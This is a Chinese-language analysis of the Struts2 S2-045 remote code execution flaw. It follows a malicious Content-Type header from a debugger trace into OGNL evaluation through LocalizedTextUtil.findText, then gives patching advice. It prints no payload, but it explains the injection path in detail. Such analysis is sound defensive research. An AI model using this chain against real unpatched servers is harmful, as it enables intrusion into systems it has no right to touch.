●恶意的Content-Type头会造成程序抛出异常,在显示错误消息给用户时造成RCE 补丁对比
查看Struts2版本2.3.32在github上的commit(Uses default error key if specified key doesn't exist)并对比修改内容:
https:///apache/struts/commit/352306493971e7d5a756d61780d57a76eb1 f519a
可以看到对LocalizedTextUtil.findText方法进行了重写,并添加了判断。
Struts2RCE漏洞的根本原因是程序将用户可控数据带入OGNL表达式解析并执行,而OGNL(Object Graph Navigation Language)对象图形导航语言是一个功能强大的表达式语言,可以用来获取和设置Java对象的属性,但同时也可以对服务端对象进行修改,绕过沙盒甚至可以执行系统命令。
所以,从补丁分析来看LocalizedTextUtil.findText函数很可能是OGNL表达式的传入点,在调试分析时可在此处下断点跟踪分析。
关于jakarta
Jakarta是struts2默认处理multipart报文的解析器,该组件定义在struts-default.xml中:
默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析并调用第三方组件commons-fileupload.jar完成上传操作。
开发人员可以通过配置struts.multipart.parser属性,修改指定不通的解析类。
如图:
所以,只要不修改默认的struts.multipart.parser属性,且有commons-fileupload.jar包。
在受影响struts2版本范围内则都受此漏洞影响。
不用实现上传功能,只要具备上述条件的struts2程序,即可进行漏洞调试、跟踪漏洞触发过程进行深入分析。
漏洞触发过程
由于不需要具体实现代码,这里建一个空工程即可,下载struts2源代码并关联,这里使用struts-2.2.30版本,并在上面提到的LocalizedTextUtil.findText函数、JakartaMultiPartRequest类的parse函数以及解析前的content_type校验处下断点,启动调试并运行POC测试脚本,在org.apache.struts2.dispatcher.Dispatcher.java文件中的wrapRequest 函数对content_type校验处截断开始单步跟踪调试。
此处对content_type头进行检查,判断是否包含multipart/form-data字段,判断成功后进行JakartaMultiPartRequest的parse函数进行解析,这就是为什么该漏洞POC都包含multipart/form-data字段的原因。
继续单步跟进,进入parse函数的断点。
继续单步运行,在processUpload函数位置抛出异常,并跳转到异常流程中,抛出的异常信息为:Invalid ContentType Exception:the request doesn't contain a multipart/form-data or multipart/mixed stream.因为ContentType未包含multipart/form-data或multipart/mixed流内容,造成程序异常。
其中可以看到异常消息中同时也包含了测试POC中ContentType头中的payload。
接着继续单步跟踪,程序流程进入buildErrorMessage函数并传入了异常消息。
该函数就应该是漏洞公告中提到的显示错误信息给用户的这部分功能代码。
继续跟进进入了下好断点的LocalizedTextUtil.findText函数。
查看LocalizedTextUtil.findText函数的介绍
https:///maven/struts2-core/apidocs/com/opensymphony/xwork2/util/Localize dTextUtil.html:
“If a message is found,it will also be interpolated.Anything within${...}will be treated as an OGNL expression and evaluated as such.”
继续跟进,最后可以看到异常消息被传入TextParseUtil.ParsedValueEvaluator对象的evaluate方法中。
这里提到Ognl值栈,可以看到包含构造Ognl语句的异常消息进入该函数,从而导致命令执行。
防护建议
●升级struts2版本到2.3.32或2.5.10.1
●使用pell、cos等其它multipart解析器
●弃坑,使用SpringMVC
参考
[1]/hacker/program/205.html
[2]/241/
[3]/u011721501/article/details/60768657
[4]/three_feng/article/details/60869254
[5]https:///apache/struts/
[6]/apache-struts2-remote-code-execution-vulnerability-
analysis-program/
[7]https:///confluence/display/WW/S2-045
[8]/dist/struts/。